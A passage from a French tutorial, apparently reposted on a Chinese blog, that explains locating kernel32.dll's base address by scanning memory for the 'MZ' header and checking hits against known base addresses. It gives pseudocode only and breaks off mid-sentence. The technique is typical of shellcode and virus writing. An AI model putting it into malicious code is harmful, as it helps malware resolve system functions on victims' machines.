+     077F00000h  - NT/W2k       +
+     0BFF70000h  - 95/98        +
+     077E60000h  - XP home      +
+     0BFF60000h  - Me           +
++++++++++++++++++++++++++++++++++

on remarque dans ce petit récapitulatif que les adresses sont des multiples de
10 pages mémoires (une page etant equivalente à 0x1000)

nous pouvons donc dire d'après ce tableau que la plage à scanner ce trouve entre 0x77e00000
et 0xBFF00000 et que le scan sera défini à raison d'une vérification de pattern toute les
10 pages.

pour connaitre si l'adresse contenant le pattern voulu est bien l'image de base de kernel32.dll,
il nous suffira de la comparer avec toutes les adresses du tableau ci dessus.

voici un algo pour clarifier mon explication

--- Definition du Tableau ImageBase ---
---------------------------------------
0x77E00000 * EBP
0x77E80000 * EBP-4
0x77E70000 * EBP-8
0x77ED0000 * EBP-12
0x77F00000 * EBP-16
0xBFF70000 * EBP-20
0x77E60000 * EBP-24
0xBFF60000 * EBP-28
---------------------------------------
[adresse] -> initialisation a 0xBFF00000

boucle :
_____________________________________________________________________________
|| vérification au dword pointer par [adresse] si il y a le pattern 'MZ' ||
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
|--> si pattern introuvable --> [adresse] = [adresse] - 0x1000
|				aller sur boucle
|
|--> si pattern trouver	------> comparer [adresse] avec toutes les adresses 
du tableau [ImageBase]
				|-> si [adresse] est dans [ImageBase] aller sur kernelFound
				|-> si [adresse] n'est pas dans [ImageBase] aller sur boucle


kernelFound :
-> afficher la valeur de l'adresse contenant le pattern

-

tout cela marche très bien en théorie, mais dans la pratique ?

N'oubliez pas que nous sommes dans un environnement ou la Virtual Mem
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值